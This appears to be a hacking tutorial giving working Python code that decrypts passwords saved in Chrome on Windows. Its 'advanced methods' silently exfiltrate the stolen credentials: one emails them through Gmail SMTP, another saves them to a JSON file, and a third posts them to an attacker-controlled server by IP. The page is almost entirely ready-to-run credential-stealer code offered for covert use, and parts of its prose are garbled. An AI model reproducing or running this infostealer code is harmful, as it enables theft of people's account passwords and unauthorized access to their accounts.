Hacker Method: Extract Chrome Passwords & Send to your Gmail Silently

How to Extract Chrome Browser Passwords & Send to Gmail using Python:

In this article, we are going to discuss the way to extract all passwords stored within the Chrome browser.

Note: This text is for users who use Chrome on Windows. If you’re a Mac or Linux user, you will have to make some changes to the given path, while the remainder of the Python program will remain the identical.

Installation:

Now, Let’s install some important libraries which we’d like to write down a python program through which we will extract Chrome Passwords Before we extract the password directly from Chrome, we’d like to define some useful functions that may help our main functions.

pip install pycryptodome
pip install pypiwin32

 

First Function

def chrome_date_and_time(chrome_data):

    # Chrome_data format is 
    # year-month-date hr:mins:seconds.milliseconds
    # This will return datetime.datetime Object
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)

 

The chrome_date_and_time() function is answerable for converting Chrome’s date format into a human-readable date and time format.
Chrome Date and time format appear as if this:

 

'year-month-date hr:mins:seconds.milliseconds'

Example:

2020-06-01 10:49:01.824691

 

Second Function

def fetching_encryption_key():
    
    # Local_computer_directory_path will
    # look like this below
    # C: => Users => <Your_Name> => AppData => 
    # Local => Google => Chrome => User Data => 
    # Local State
    
    local_computer_directory_path = os.path.join(
    os.environ["USERPROFILE"], "AppData", "Local", "Google",
    "Chrome", "User Data", "Local State")
                                                 
    with open(local_computer_directory_path, "r", encoding="utf-8") as f:
        local_state_data = f.read()
        local_state_data = json.loads(local_state_data)

    # decoding the encryption key using base64
    encryption_key = base64.b64decode(
    local_state_data["os_crypt"]["encrypted_key"])
    
    # remove Windows Data Protection API (DPAPI) str
    encryption_key = encryption_key[5:]
    
    # return decrypted key
    return win32crypt.CryptUnprotectData(
    encryption_key, None, None, None, 0)[1]

The fetching_encryption_key() function obtains and decodes the AES key accustomed encrypt the password. It’s saved as a JSON go into “C:\Users\\AppData\Local\Google\Chrome\User Data\Local State”.This function are useful for the encrypted key.

 

Third Function

def password_decryption(password, encryption_key):

    try:
        iv = password[3:15]
        password = password[15:]
        
        # generate cipher
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta


def chrome_date_and_time(chrome_data):
    # Chrome_data format is 'year-month-date
    # hr:mins:seconds.milliseconds
    # This will return datetime.datetime Object
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)


def fetching_encryption_key():
    # Local_computer_directory_path will look
    # like this below
    # C: => Users => <Your_Name> => AppData =>
    # Local => Google => Chrome => User Data =>
    # Local State
    local_computer_directory_path = os.path.join(
    os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
    "User Data", "Local State")
    
    with open(local_computer_directory_path, "r", encoding="utf-8") as f:
        local_state_data = f.read()
        local_state_data = json.loads(local_state_data)

    # decoding the encryption key using base64
    encryption_key = base64.b64decode(
    local_state_data["os_crypt"]["encrypted_key"])
    
    # remove Windows Data Protection API (DPAPI) str
    encryption_key = encryption_key[5:]
    
    # return decrypted key
    return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]


def password_decryption(password, encryption_key):
    try:
        iv = password[3:15]
        password = password[15:]
        
        # generate cipher
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"


def main():
    key = fetching_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                        "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromePasswords.db"
    shutil.copyfile(db_path, filename)
    
    # connecting to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    
    # 'logins' table has the data
    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
        "order by date_last_used")
    
    # iterate over all rows
    for row in cursor.fetchall():
        main_url = row[0]
        login_page_url = row[1]
        user_name = row[2]
        decrypted_password = password_decryption(row[3], key)
        date_of_creation = row[4]
        last_usuage = row[5]
        
        if user_name or decrypted_password:
            print(f"Main URL: {main_url}")
            print(f"Login URL: {login_page_url}")
            print(f"User name: {user_name}")
            print(f"Decrypted Password: {decrypted_password}")
        
        else:
            continue
        
        if date_of_creation != 86400000000 and date_of_creation:
            print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
        
        if last_usuage != 86400000000 and last_usuage:
            print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
        print("=" * 100)
    cursor.close()
    db.close()
    
    try:
        
        # trying to remove the copied db file as
        # well from local computer
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    main()

Output:

extract chrome password

 

Advanced Hacker Methods:

Method #1:

Extract Passwords and Remotely Send the file to your Gmail Silently!

(Turn off your 2 step Authentication in your gmail, Otherwise not sending to your gmail)

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import smtplib
import subprocess
import sys

# your gmail credentials
email = "your_gmail_address"
password = "gmail_password"


def get_master_key():
    # open the file called Local State to get the master key
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r") as f:
        local_state = f.read()
        # load the file as json
        local_state = json.loads(local_state)
        # decode the available base64 data 
        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
        master_key = master_key[5:]  # removing DPAPI
        master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
        # return the final master key
        return master_key

# passsing the cipher to decrypt the payload
def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

# generating a cipher for the obtained iv with the help of the master_key
def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)


# decrypt password one by one with the help of master key
def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15] # only characters between 3-15 are required
        payload = buff[15:] # remove prefix
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        # returning the decrypted password
        return decrypted_pass
    except Exception as e:
        # if we're unable to decrypt the password, it is because the version is unsupproted
        return "Unsupproted Chrome Version"


# function to send an email
def send_mail(email, password, message):
    # gmail SMTP connection
    server = smtplib.SMTP("smtp.gmail.com", 587)
    # tell the server that a connection is being made
    server.starttls()
    # login to the email account
    server.login(email, password)
    # sending email from your email address to your own email address along with the message
    server.sendmail(email, email, message)
    # quit the session after sending a message
    server.quit()


# consists the final message that is to be sent via email
total_log = "----Browser Password Extractor By f0rty5ev3n----\n\n"

# getting the returned master key by calling the function get_master_key
master_key = get_master_key()

# actual Login DB location for Chrome
# for Microsoft Edge, use AppData\Local\Microsoft\Edge\User Data\Default\Login Data
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

# making a temp copy since Login Data DB is locked while Chrome is running
shutil.copy2(login_db, "Loginvault.db") 

# connecting to the copied DB
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
    # getting url, username and password from the Login DB with the help of sqlite3
    cursor.execute("SELECT action_url, username_value, password_value FROM logins")

    for r in cursor.fetchall():
        # define url as a row 0 of the DB
        url = r[0]

        # define username as a row 1 of the DB
        username = r[1]

        # define encrypted_password as a row 2 of the DB
        encrypted_password = r[2]

        # passing the encrypted password to previously defined decrypt_password function and getting the returned final password
        decrypted_password = decrypt_password(encrypted_password, master_key)

        # if DB containes more than 0 usernames, then append it to total_log one by one
        if len(username) > 0:
            log = ("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")

            # adding each credential as a string to the total_log one by one without replacing the current available data in total_log
            total_log = total_log + str(log)

except Exception as e:
    pass

# leave the cursor and close the DB connection safely
cursor.close()
conn.close()
try:
    # try deleting the temp database at the end
    os.remove("Loginvault.db")
except Exception as e:
    pass

# now that we have all the passwords decrypted in the total_log, we'll call the send_mail function and pass the total_log as a message
send_mail(email, password, "\n\n" + total_log)

 

 

Method #2:

import os
import json
import base64
import sqlite3
import win32crypt
import shutil
import re
from datetime import datetime, timedelta
from Crypto.Cipher import AES

def unix_to_date(unix):
    return datetime(1601, 1, 1) + timedelta(microseconds=unix)

def save_results(*args):

    result = {

        "url": args[0],
        "username": args[1],
        "password": args[2],
        "created_date": args[3],
        "last_used_date": args[4]

    }

    with open("results.json", "a") as f:
        json_obj = json.dumps(result, indent=4, default=str, separators=(',', ':'))
        f.write(json_obj+"\n")

def get_dbs() -> list:
    databases = []
    chrome_path = f'{os.getenv("localappdata")}\\Google\\Chrome\\User Data'

    try:
        dict_list = os.listdir(chrome_path)
    except FileNotFoundError:
        print(f"Chrome is not installed in this computer.")
        exit()

    databases = [f"{chrome_path}\\{i}\\Login Data" for i in dict_list if re.match(r"Profile [-+]?[0-9]+$", i)]
    
    if "Default" in dict_list:
        databases.append(f"{chrome_path}\\Default\\Login Data")

    return databases


def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(password, master_key):
    try:
        iv = password[3:15]
        payload = password[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        return "Probably this password is saved before v80 of chrome"
 

def main():
    dbs = get_dbs()
    key = get_encryption_key()
    if not dbs:
        print("Databases not found!")
        exit()

    for db in dbs:
        shutil.copy(db, "db") # creating a copy of the database, sometimes the db is being locked.
        conn = sqlite3.connect("db")
        cursor = conn.cursor()
        try:
            cursor.execute("SELECT action_url, username_value, password_value, date_created, date_last_used FROM logins")
            for r in cursor.fetchall():
                url = r[0]
                username = r[1]
                password = decrypt_password(r[2], key) # r[2] = encrypted_password, and we will decrypt it using the decrypt_password function
                created_date = unix_to_date(r[3])
                date_last_used = unix_to_date(r[4])
                if len(password) > 0:
                    save_results(url, username, password, created_date, date_last_used)
                    print(f"{'-'*50}\nWebsite-URL: {url}\nUsername: {username}\nPassword: {password}\nCreated Date: {created_date}\nLast Used Date: {date_last_used}")
        except Exception as e:
            print(e)
        cursor.close()
        conn.close()
        try:
            os.remove("db")
        except Exception as e:
            print(e)

if __name__ == '__main__':
    main()

 

Method #3:

#!/bin/python3
# tutorial taken from https://www.thepythoncode.com/article/extract-chrome-passwords-python
# this script extracts passwords from google chrome in windows
# adapted to send passwords to a php server 

import os, sys, requests, json, base64, sqlite3, win32crypt, shutil
from Crypto.Cipher import AES
from datetime import timezone, datetime, timedelta

dst_ip = str(sys.argv[1])


# helpful functions
def get_chrome_datetime(chromedate):
    """Returns a 'datetime.datetime' object from a chrome format datetime
        because chromedate is formatted as the number of microseconds since January 1601"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                               "AppData", "Local", "Google", "Chrome",
                                               "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from b64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # remove DPAPI str
    key = key[5:]
    # return the decrypted key using a session key derived from the user's credentials
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

def decrypt_password(password, key):
    try:
        # get the IV
        iv = password[3:15]
        password = password[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""
def main():
    # get the AES key
    key = get_encryption_key()
    #path to the local chrome database
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                      "Google", "Chrome", "User Data", "default", "Login Data")
    # copy the file to another location since the database will be locked when chrome is running
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    # connect to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # logins table has the data we need
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]
        if username or password:
            # print(f"Origin URL: {origin_url}")
            # print(f"Action URL: {action_url}")
            # print(f"Username: {username}")
            # print(f"Password: {password}")
            origin_url = (f"{origin_url}")
            action_url = (f"{action_url}")
            username = (f"{username}")
            password = (f"{password}")
            

        else:
            continue
        if date_created != 86400000000 and date_created:
            print(f"Creation date: {str(get_chrome_datetime(date_created))}")
        if date_last_used != 86400000000 and date_last_used:
            date_last_used = (f"Last Used: {str(get_chrome_datetime(date_last_used))}")
        
        # send info via a post request
            url = 'http://' + dst_ip + '/ssftp.php?origin_url=' + origin_url + '?action_url=' +  action_url + '?username=' + username + '?password=' + password + '?date_last_used=' + date_last_used
            data = {'origin_url': origin_url, 'action_url': action_url, 'username': username, 'password': password}
            print(requests.post(url, data = data))

        print("="*50)
    cursor.close()
    db.close()
    try:
        # remove copied file
        os.remove(filename)
    except:
        pass

if __name__ == "__main__":
    main()